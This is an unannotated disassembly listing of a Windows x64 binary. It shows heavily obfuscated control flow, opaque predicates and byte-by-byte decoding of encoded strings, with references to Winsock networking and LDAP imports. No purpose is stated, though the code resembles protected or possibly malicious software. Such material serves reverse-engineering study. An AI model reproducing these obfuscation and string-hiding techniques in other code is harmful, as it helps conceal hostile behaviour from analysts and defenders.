movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086d32
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140087273
movabs rcx, 0x8b2f87383849e337
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x7f
movzx eax, byte [rbp + rbx + 0xde0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086d32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008773a
movabs rcx, 0xe501edc0a38c2234
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
movzx eax, byte [rbp + rbx + 0xde0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086d32
inc rax
cmp r8, rax
jne 0x14008776b
movabs rdx, 0x2cdd72fa92f45498
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x28
jmp 0x1400878e6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400877a1
movabs rdx, 0x74b8f834825c86fc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140087aa1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400877d9
movabs rdx, 0xbc947d6e71c4b960
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140086d32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140087227
movabs rdx, 0xe082400b6978d292
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140086d32
movabs rdx, 0x4c4b87e250951e28
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xde0]
sub r10b, al
sub r10b, 0x18
add r10b, r11b
jmp 0x140087a52
movabs rdx, 0x70394a7f4849375a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xde0]
sub r10b, 0x76
jmp 0x1400878e6
movabs rcx, 0xbc9c52f4de37eb4f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x29
movzx eax, byte [rbp + rbx + 0xde0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086d32
movabs rcx, 0x98ae9057e683d21d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
jmp 0x140087919
movabs rdx, 0x74c0cdbaeecfb8eb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6d
add r10b, dl
movabs rcx, 0x82302bcdc42343f3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x5b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xde0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x94270d1c3ffd508c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xde0], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xde0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086d32
movabs rcx, 0x2ce54880ff678687
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
jmp 0x140087aa1
movabs rcx, 0xe509c3470fff5423
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xb
dec rbx
inc rbx
jmp 0x140086d32
movabs rdx, 0x9d2e3e0d209721bf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x39
add r10b, dl
movabs rcx, 0x3a54a693d4bb118f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x17
add cl, r11b
mov byte [rbp + rbx + 0xde0], cl
inc r9
dec rbx
inc rbx
jmp 0x140086d32
movabs rcx, 0xd77339941c6bcf7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x3f
dec rbx
inc rbx
jmp 0x140086d32
movabs rdx, 0xe98970fc4a12a3c5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x63
add r10b, dl
movabs rcx, 0x5e426930cc6f2ac1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x47
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xde0], cl
jmp 0x140087aa1
movabs rcx, 0xc59bae5f525e8a93
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 5
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086d32
movabs rcx, 0x35e4a3eb738e25cb
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x73
movzx eax, byte [rbp + rbx + 0xde0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086d32
movabs rcx, 0x55430dc658488b7d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6b
jmp 0x140086d30
movabs rcx, 0x31554b296094724b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xd
jmp 0x140086d20
lea r14, [rbp + 0x14084ac]
jmp 0x140087b56
lea r14, [rbp + 0x15a9145]
jmp 0x140087b56
lea r14, [rbp + 0xde0]
lea rdx, [0x140236d70]
lea rcx, [rbp + 0x600]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x90]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rsi + 0x38], 0
jne 0x1400a3083
mov byte [rbp + 0xe08], 0x99
mov byte [rbp + 0xe09], Ordinal_211
mov byte [rbp + 0xe0a], 0xed
mov byte [rbp + 0xe0b], __WSAFDIsSet
mov byte [rbp + 0xe0c], __WSAFDIsSet
mov byte [rbp + 0xe0d], 0x86
mov byte [rbp + 0xe0e], __WSAFDIsSet
mov byte [rbp + 0xe0f], 0x83
mov byte [rbp + 0xe10], 8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe11], xmm0
mov qword [rbp + 0xe21], rax
mov word [rbp + 0xe29], ax
movabs rdx, 0xcca196a84917ae18
movabs r12, 0x1ba12d844e795a38
movabs r13, 0x30c951d975233cc8
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0x3213dd989605c758
cmp rbx, 0x23
jae 0x140088b15
movzx edi, byte [rbp + rbx + 0xe08]
mov r10, rdi
cmp r8, rbx
ja 0x140088b09
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140087c80
add rcx, rbx
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
sub r11b, 0x68
jmp 0x140087cc0
je 0x140088a76
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400889e8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400889a5
lea rax, [r9 + 5]
cmp r8, rax
je 0x140088939
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400888d5
nop word [rax + rax]
cmp r9, rbx
ja 0x140088afd
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140087cfd
lea rdx, [rbx + r12]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xcca196a84917ae18
jmp 0x140087d40
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400888b1
inc rax
cmp r8, rax
je 0x14008887a
lea rax, [r9 + 4]
cmp r8, rax
je 0x140088834
lea rax, [r9 + 7]
cmp r8, rax
je 0x140088810
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400887e7
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008842c
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140088418
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400883e1
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400883ad
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140088389
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140088343
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140088300
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400882da
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400882b6
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140088292
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140087d50
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 8]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140088ad9
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140088ab5
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140087f55
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140087f2c
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140087f11
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008822f
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400881d2
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008817e
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140088140
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140087d50
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x28]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140088117
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400880ee
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400880ca
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008808c
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008804f
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140088026
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140087fed
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140087fb6
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140087f92
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140087d50
lea r8, [r9 + 3]
lea r9, [r8 + 0x200]
jmp 0x140087d50
lea rcx, [rbx + r13]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x78
jmp 0x140087d40
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xcca196a84917ae18
jmp 0x140087cc0
movabs rdx, 0x6879db771d0c1f68
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movabs rdx, 0xcca196a84917ae18
movabs rcx, 0x3213dd989605c758
jmp 0x140087c4e
movabs rcx, 0xdd096c2273cad1c0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x40
jmp 0x1400888f9
movabs rcx, 0x78e1b0f147bf4310
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
inc r9
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rdx, 0x14b9f5c01bb3b460
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rdx, 0xb0923a8eefa825b0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140088958
movabs rcx, 0x4c6a7f5dc39c9700
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rcx, 0xe842c42c97910850
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x30
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rcx, 0x841b08fb6b8579a0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x60
jmp 0x140088a0d
movabs rdx, 0x1ff34dca3f79eaf0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140088a3d
movabs rdx, 0xbbcb9299136e5c40
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140088a95
movabs rdx, 0xc1683e9e25517788
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
mov byte [rbp + rbx + 0xe08], r11b
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rdx, 0x5d40836cf945e8d8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
cmp r9, 0x20
jb 0x140088164
movabs rcx, 0xf3ea4acbc64d6d10
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea r11d, [rdx + rdx]
jmp 0x1400888f9
movabs rcx, 0xf918c83bcd3a5a28
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
cmp r8, 6
jae 0x14008878c
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140088628
movabs rcx, 0xa5cfae00dd9da30
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
jmp 0x1400881a2
movabs rcx, 0x94f10d0aa12ecb78
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x48
lea rax, [r9 + r8]
cmp rax, 1
je 0x1400887bc
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140088505
movabs rdx, 0xeebbcd5bbf607ff8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400881f1
movabs rcx, 0xa5c71119d6d81d50
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x30
jmp 0x140088a95
movabs rcx, 0x419f55e8aacc8ea0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x60
jmp 0x140088a3d
movabs rdx, 0xdd779ab77ec0fff0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140088a0a
movabs rdx, 0x794fdf8652b57140
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rdx, 0x1528245526a9e290
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rcx, 0xb1006923fa9e53e0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
jmp 0x140088958
movabs rcx, 0x4cd8adf2ce92c530
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rcx, 0xe8b0f2c1a2873680
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x80
inc r9
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rdx, 0x84893790767ba7d0
mov ecx, Ordinal_41
jmp 0x1400888e4
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14008845d
movabs rcx, 0x3213dd989605c758
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
jmp 0x14008824e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008848e
movabs rcx, 0x37425b089cf2b470
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x10
jmp 0x140088a95
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400884bf
movabs rcx, 0x2c0902fe792c7de0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
jmp 0x140088958
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008824e
movabs rdx, 0x9030be2fa5380c90
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008853b
movabs rdx, 0x52e3888ceb6c0ea8
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x1400888f9
inc rax
cmp r8, rax
jne 0x14008857a
movabs rcx, 0xb70b43be17779d58
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
inc r9
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400885c6
movabs rdx, 0x47aa3082c7a5d818
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400885f7
movabs rcx, 0xabd1ebb3f3b166c8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x78
jmp 0x140088a0d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400881f1
movabs rcx, 0x742162164bc88428
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
jmp 0x140088a95
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088659
movabs rcx, 0x6e84b61139e568e0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
jmp 0x140088a95
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008868f
movabs rdx, 0x36d42c7391fc8640
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x140088a0d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400886d9
movabs rcx, 0xff23a2d5ea13a3a0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x60
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008870a
movabs rcx, 0x634b5e07161f3250
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x30
jmp 0x140088958
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140088743
movabs rcx, 0xc7731938422ac100
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400881a2
movabs rdx, 0x2b9ad4696e364fb0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rdx, 0x581205fcf258fbc0
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, byte [rbp + rbx + 0xe08]
sub r11b, al
sub r11b, 0x40
add r11b, dl
add r11b, dil
jmp 0x140088958
movabs rcx, 0xbc39c12e1e648a70
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xe08]
lea r11d, [rdi + rcx]
sub r11b, 0x10
jmp 0x140088a0d
movabs rdx, 0xa106c23edae15e68
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140088a95
movabs rcx, 0xd8b74bdc82ca4108
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
jmp 0x140088a0d
movabs rdx, 0x1067d57a2ab323a8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rcx, 0xe3f0a3e6a6907798
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
inc r9
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rcx, 0x7fc8e8b57a84e8e8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
jmp 0x1400888f9
movabs rdx, 0xb7797253226dcb88
mov ecx, 0x24
add rdx, rbx
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0x25fe28645c533468
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rbx + 0xe08], cl
inc r9
dec rbx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rcx, 0x8b0240bf9e4b1f78
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x48
movabs rcx, 0x8a25e395885ec318
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, Ordinal_45
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r11b
mov byte [rbp + rbx + 0xe08], dl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rdx, 0xc2b2ca5d46340218
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
mov rdi, r10
movabs rcx, 0x5e8b0f2c1a287368
add rcx, rbx
and r10b, cl
mov eax, reloc.WS2_32.dll_sendto
sub al, r10b
lea r11d, [rax + rax]
add r11b, cl
add r11b, dil
movabs rcx, 0xee4d9ec6b46a51c8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x78
add cl, dil
movzx eax, cl
mov byte [rbp + rbx + 0xe08], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x20617c5f4a701920
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0xe08], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
jmp 0x140088a95
movabs rcx, 0x963b98c9c2115608
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rbx + 0xe08]
add rax, r9
add rbx, rax
inc rbx
movabs rdx, 0xcca196a84917ae18
jmp 0x140087c32
movabs rcx, 0x4522045f10090b8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 8
jmp 0x140087c2e
movabs rcx, 0xa02a6514c4f50208
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
jmp 0x140087c19
lea rcx, [rbp + 0x161fd28]
jmp 0x140088b1c
lea rcx, [rbp + 0xe7c480]
jmp 0x140088b1c
lea rcx, [rbp + 0xe08]
mov dword [rbp + 0xf38], 0x64
mov dword [rbp + 0xf40], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xf38]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf40]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037d20
mov byte [rbp + 0xe30], 0xe9
mov byte [rbp + 0xe31], 0x9f
mov byte [rbp + 0xe32], 0xa4
mov byte [rbp + 0xe33], 0x99
mov byte [rbp + 0xe34], 0xf0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe35], xmm0
mov qword [rbp + 0xe45], rax
mov dword [rbp + 0xe4d], eax
mov word [rbp + 0xe51], ax
movabs rdi, 0x6c8006d2138e1836
movabs rsi, 0xb1ea70cfb57328a
movabs r12, 0x1d8c311631b16ede
movabs r14, 0xd00644e097f454ce
movabs r13, 0x94ede2b434917712
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400898da
movzx r11d, byte [rbp + rbx + 0xe30]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400898ce
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140088c43
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x12
jmp 0x140088c70
je 0x140089844
inc rax
cmp r8, rax
je 0x1400897d9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400897ae
lea rax, [r9 + 2]
cmp r8, rax
je 0x140089759
nop
cmp r9, rbx
ja 0x1400898c2
lea rax, [r9 + 4]
cmp r8, rax
jae 0x140088ca1
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
jmp 0x140088cd0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140089733
lea rax, [r9 + 3]
cmp r8, rax
je 0x140089704
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400896cf
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140089201
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400891db
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400891a9
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140089184
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008914d
